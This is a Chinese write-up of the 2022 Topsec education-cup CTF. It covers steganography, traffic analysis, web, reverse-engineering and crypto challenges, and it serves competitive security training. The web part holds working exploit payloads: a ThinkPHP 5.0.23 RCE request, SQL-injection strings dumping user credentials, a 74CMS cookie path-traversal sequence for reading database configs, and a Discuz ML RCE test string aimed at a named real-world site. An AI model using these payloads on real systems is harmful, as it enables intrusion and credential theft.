2022天融信教育杯CTF赛事WP

WriteUp 2年前 (2022) admin
1,062 0 0

2022天融信教育杯CTF赛事WP

点击蓝字 关注我们

2022天融信教育杯CTF赛事WP


声明

本文作者:ckcsec
本文字数:3531

阅读时长:7 分钟

项目/链接:文末获取

本文属于【CKCsec安全研究院】原创文章,未经许可禁止转载

MISC

「小秘密」

提示:图片里藏着什么呢

flag{haohaoxuexi}

隐写

steghide extract -sf 0073d05a274a4f864148d5b08c48b8c.jpg
2022天融信教育杯CTF赛事WP

「如来神掌」

flag{ZmxhZ3thc2hsZHVpaGF1dmhhb3dyaXZ3ZWFydndhb2lyMTM5MHU0NXQwd3B9}

https://www.keyfc.net/bbs/tools/tudoucode.aspx

2022天融信教育杯CTF赛事WP
2022天融信教育杯CTF赛事WP

「流量分析」-1

题目给出数据包文件,用wireshark打开

根据题目提示,需要找到用户登录密码,使用wireshark搜索功能搜索分组字节流字符串password

得到 password的值包裹上flag{}即为flag

Flag:flag{ffb7567a1d4f4abdffdb54e022f8facd}

「你会玩excel吗」

下载得到附件,打开乱码

2022天融信教育杯CTF赛事WP

将这个.xls改成.zip,于是我们改成zip解压

2022天融信教育杯CTF赛事WP

「zero」

下载附件得到一个txt文件,里面是一长段英文,乍一看没有什么特别的地方,但是将这个文件用> vim查看,就会发现其中隐藏了大量的信息

2022天融信教育杯CTF赛事WP

很显然是零宽度字符隐写,在线网站:http://330k.github.io/misc_tools/unicode_steganography.html弄一下,在上图中可以看到共有>五种零宽度字符,尝试一下将U+200B这一项去掉,选择其他四种字符进行解密,就可以得到flag

2022天融信教育杯CTF赛事WP

得到flag

「流量分析-2」

wirkshark抓包用http过滤掉一些包就行发现flag特诊字符,最后进行拼接就好了

「流量分析-3」

wirkshark进行抓包,用http过滤掉无用数据,根据包名及数据包,发现是sql的boolean型盲注,通过分 析,每次盲注的最后一个值为flag

2022天融信教育杯CTF赛事WP

「做哭了」

脚本提取到zip中

import re

current_path = "E:/files/"

start = open(current_path + "start.txt","r")
zipfile = open("flag.zip","wb")
content = start.read()
while True:
num = re.findall(r"^[0-9]+",content)[0]
zipfile.write((int(num)).to_bytes(2, byteorder = 'big'))
filename = re.findall(r" ([A-Za-z0-9.]+)$",content)
if filename:
nextfile = open(current_path + filename[0],"r")
content = nextfile.read()
nextfile.close()
else:
break
print(content)
start.close()
zipfile.close()

提取完发现里面有个png图片,但是压缩包加密了

搜索到可以用ARCHPR  暴力破解一遍

![img](file:///C:/Users/ly323/AppData/Local/Temp/msohtmlclip1/01/clip_image004.jpg)

解压出来的png打不开,放到010Editor看看

![img](file:///C:/Users/ly323/AppData/Local/Temp/msohtmlclip1/01/clip_image006.jpg)

是jpg的特征,把文件头改成FF D8 FF E0

![img](file:///C:/Users/ly323/AppData/Local/Temp/msohtmlclip1/01/clip_image008.jpg)

拿到flag

flag{0c6b489ca956e2fd94dce12be4bf0729}

WEB

「ThinkPHP」

访问题目给出链接发现题目是thinkphp框架,在当前页面url后拼接任意目录使页面报错显示thinkphp具体版本

2022天融信教育杯CTF赛事WP

得到版本为ThinkPHP 5.0.23,已知该版本存在rce漏洞,使用相关payload rce.

2022天融信教育杯CTF赛事WP

Payload:

url: http://81.69.203.126:18799/index.php?s=captcha

POST传参: _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag

「只有管理员才能访问」

描述 admin admin 思路:通过Client-ip伪造ip为127.0.0.1进行访问,得到user cookie不存在,构造user cookie,得到user cookie不是admin,构造user=admin得到flag

flag{78c10eb31d3e28706bc2781401de22cf}

「SQL注入」

描述:sqlmap no,明小子 yes. 思路:sql注入 + bypass Wp /index.php?id=0%20ununionion%20selselectect%201,2,3,(selselectect%20content%20from%20ctf)%20#

flag{4a3f18ee675817d5b2413b67a436818e}

「综合渗透」

sql注入 拿到后台账号密码

list.php?id=22) unIoN selECt 1,2,hex((sELect group_concat(username,password) from cms_users)),4,5,6,7,8,9,10,11,12,13,14--+

登陆后台 文件上传 发现为白名单过滤 ,尝试图片马  需配合文件包含进行解析

刷新前端页面,反复向服务端发送请求,发现在网站客户端get请求参数没有变化的情况下,网站内容发生了变化

2022天融信教育杯CTF赛事WP
image-20220930150943983

判断网站首页存在文件包含漏洞,爆破协议,file= 可直接包含

解析 拿shell 看flag 一条龙

反序列化

注册登录之后,上传图片马,然后访问/upload目录,用脚本生成的cookie用去替换已有的cookie,将png图片拷贝为php文件,脚本中替换后文件的相应/upload目录下生成php文件,用蚁剑连接

反序列化-2

访问/register.php目录注册,登录后的框框输入相关信息并上传图片后抓包,将nickname改成数组形式,绕过长度检测,查看图片的src,是flag的base64编码

禅道

11.6 任意文件写入漏洞直接锤

74CMS

flag{ce2319abbf950a3e83bab08caf0903cf}

1. 注册账号test123   test123 ,填写基本资料并保存

2. 点击头像

3. 右键这个大头像点击检查(火狐是审查元素),然后发现时间戳,我这里是1533711230

4. 在之前的test123已经登陆的情况下,火狐提交以下POST参数请求并抓包

http://xxx/index.php?m=&c=membersa=register

POST: ajax=1&reg_type=2&utype=2&org=bind&ucenter=bind

5. 在cookie中插入以下5个cookie参数,注意每个cookie参数结尾处都有一个分号和空格,

注意后面的操作每错误或者失败一次就把pasword,uid,username都修改一次

如balisong01 666667 balisong01

COOKIE:

members_bind_info[temp_avatar]=../../../../Application/Common/Conf/db.php

members_bind_info[type]=qq

members_uc_info[password]=balisong

members_uc_info[uid]=666666

members_uc_info[username]=balisong

6. 这个时候先另外开一个页面重新按照第三步的方法获取一次新的时间戳1533712718,然后对上面添加了cookie的数据包进行重放,这时候会在网站

datauploadavatar18088目录下生成一个MD5(uid+当前时间戳)命名的jpg文件

7. 利用提供的python脚本生成一个MD5字典,该字典默认设置在上一步骤的时间戳增加了300,如果你审查元素介绍就发后面这个构造的数据库这个时间是足够的。


8. http://xxxx/data/upload/avatar/1808/08/

对以上连接进行抓包,然后转入爆破页面,路径增加xxx.jpg,设置xxx为参数,设置之前的MD5字典,开始攻击

9. 响应码200为正确,查看回应包成功获取数据库密码。

discuz

flag{2f56816a0f9956cfe790dc624d1e3f62}

discuz mlv3.x命令注入 https://www.cnblogs.com/paperpen/p/11192154.html https://www.cnblogs.com/junsec/p/11191490.html

exp脚本 https://github.com/AdministratorGithub/Discuz-ML-v.3.4-exp

测试代码 ‘.phpinfo().’

测试网站 http://bbs.sunnex.com.hk/

https://github.com/roryamos/LaravelDev

heartbleed

echo -en 'POST / HTTP/1.1nHost: xxxxxxxxxnContent-Length: 256000nn123n' | nc -n 47.242.37.24 8088 | hexdump -C
echo -en 'POST / HTTP/1.1nHost: xxxxxxxxxnContent-Length: 999999nn123n' | nc -n 47.242.37.24 8088 | hexdump -C >flag

flag{6b5cad502f08aabee9a474e188020db8}

应急响应

「木马分析」

丢微步云 即可 或者小鲨鱼抓包

123.56.22.101

「日志分析」

思路

首先考虑用正则筛选200状态码,但是200实在太多了 不太可行 遍历日志文件 看到xss sql注入 文件读取等payload 不是想要的 无果 判断可能日志可控,木马被直接写在了log里 匹配关键字 无果 开始考虑可能配合文件包含或者是文件解析 文件包含(读取)的payload有点多 但没有看到成功的 偶然看到png的文件上传数据包,判断可能是文件解析和文件上传配合进行漏洞利用 原理刨析

小姿势

将文件保存成testjpg格式,上传到服务器,假设上传路径为/upload,上传成功后,直接访 问/upload/testjpg/xphp,此时神奇的畸形解析开始发挥作用啦。testipg将会被服务器当成php文 件执行,所以图片里面的代码就会被执行。我们会神奇的发现在/upload目录下创建了一个一句话 木马文件 得到文件名:ensoft.php

#上传成功直接访问 
"POST /phpcms/uploadfile/2018/1118/20211118121435427.jpg/ensoft.php HTTP/1.1" 200
#成功创建
"GET /phpcms/uploadfile/2021/1118/ensoft.php HTTP/1.1" 200
2022天融信教育杯CTF赛事WP

得到文件名:ensoft.php

「内存马」

strings 8.raw | grep "flag"
2022天融信教育杯CTF赛事WP
flag{3661386562366162333565313332396130373363313239656230356332636566}

流量分析-4

python3 py_decrypt.py -f Behinder-5.pcap -k e45e329feb5d925b

flag{www.venustech.com.cn}

REVERSE

小试牛刀

拆包

2022天融信教育杯CTF赛事WP
2022天融信教育杯CTF赛事WP
2022天融信教育杯CTF赛事WP

用strings 发现加密字段 强如职业选手的我 直接开解

2022天融信教育杯CTF赛事WP
2022天融信教育杯CTF赛事WP

主函数

首先对于java程序,要进行反编译,可以利用插件,或者是DJ java discompiler. 将java进行反编译,在反编译之后,我们会得到一个原始代码

将原始代码去掉判断条件,就可以很快的求解出flag了

猜数字

第一次ida打开,在Strings框里发现只有一条  upx.net,输入网址进入后发现是一个加壳压缩软件,把文件放到linux里打开,用upx -d 脱壳,再重新用ida打开,

2022天融信教育杯CTF赛事WP

Shift+F12进入字符串框,双击这个flag

2022天融信教育杯CTF赛事WP

发现他们都有sub_400E28这个函数

2022天融信教育杯CTF赛事WP

F5两次反编译后变成

2022天融信教育杯CTF赛事WP

有一个新的函数是4009AE,正好就在上面,打开发现

2022天融信教育杯CTF赛事WP

是判断两数相乘:

XXXXX*a1[i] == XXXXXX

挨个除出来:全是数字,可能是ascii码

[a1[31] = 125,
a1[30] = 55,
a1[29] = 51,
a1[28] = 51,
a1[27] = 57,
a1[26] = 51,
a1[25] = 48,
a1[24] = 99,
a1[23] = 49,
a1[22] = 97,
a1[21] = 57,
a1[20] = 57,
a1[19] = 48,
a1[18] = 51,
a1[16] = 97,
a1[17] = 48,
a1[15] = 98,
a1[14] = 48,
a1[13] = 49,
a1[12] = 49,
a1[11] = 49,
a1[10] = 50,
a1[9] = 52,
a1[8] = 53,
a1[7] = 54,
a1[5] = 101,
a1[4] = 123,
a1[3] = 103,
a1[2] = 97,
a1[1] = 108,
a1[0] = 102]

在idea里转换ascii码 得到flag字符串

flag{e 65421110ba03099a1c039337} 发现有一位是空的,但是本身值存在,暴力破解一下

2022天融信教育杯CTF赛事WP

先从数字开始。1234567890挨个试一下

绑绑免费版脱壳

frida-server监听

2022天融信教育杯CTF赛事WP

CRYPTO

「签到题」

照着打一遍即可

2022天融信教育杯CTF赛事WP

MD5

https://www.cmd5.com/

2022天融信教育杯CTF赛事WP

核心价值观

http://www.hiencode.com/cvencode.html

2022天融信教育杯CTF赛事WP

莫尔斯

http://www.hiencode.com/morse.html

2022天融信教育杯CTF赛事WP

奇怪的符号

2022天融信教育杯CTF赛事WP

本来这是第二关

flag{trxeduyyds}

http://www.hiencode.com/caesar.html

2022天融信教育杯CTF赛事WP

把猪困在猪圈里

https://tool.jisuapi.com/base642pic.html

2022天融信教育杯CTF赛事WP

http://www.hiencode.com/pigpen.html

2022天融信教育杯CTF赛事WP

base

https://tool.oschina.net/encrypt?type=3

2022天融信教育杯CTF赛事WP
2022天融信教育杯CTF赛事WP

这题拿的原题 秒了

编程

http://tool.bugku.com/brainfuck/ flag{asdbusacn}

emoji

https://ruotian.io/2020/02/emoji-aes/

flag{ahw58i2wcosuekjasan}

emoji-2

http://taqini.space/codemoji/#/encrypt

随意输入 加密 并分享

http://taqini.space/codemoji/share.html?data=eyJtZXNzYWdlIjoi8J%2BMhfCfjZ%2Fwn5iy8J%2BTsPCfkaPwn5OR8J%2BYufCfkZfwn5iy8J%2BShvCfkZfwn5iy8J%2BRl%2FCfjIHwn4yB8J%2BTkvCfk5Lwn5iG8J%2BYhvCfmLjwn5C88J%2BOqyIsImtleSI6IvCfkqkifQ%3D%3D

data 参数 urldecode + base64 解码后得到

{“message”:”????????????????”,”key”:”?”}

于是想到修改message参数构造 payload 如下

{“message”:”??????????????????????”,”key”:”?”}

flag{wuhanhah6677tter}


原文始发于微信公众号(CKCsec安全研究院):2022天融信教育杯CTF赛事WP

版权声明:admin 发表于 2022年9月30日 下午9:48。
转载请注明:2022天融信教育杯CTF赛事WP | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...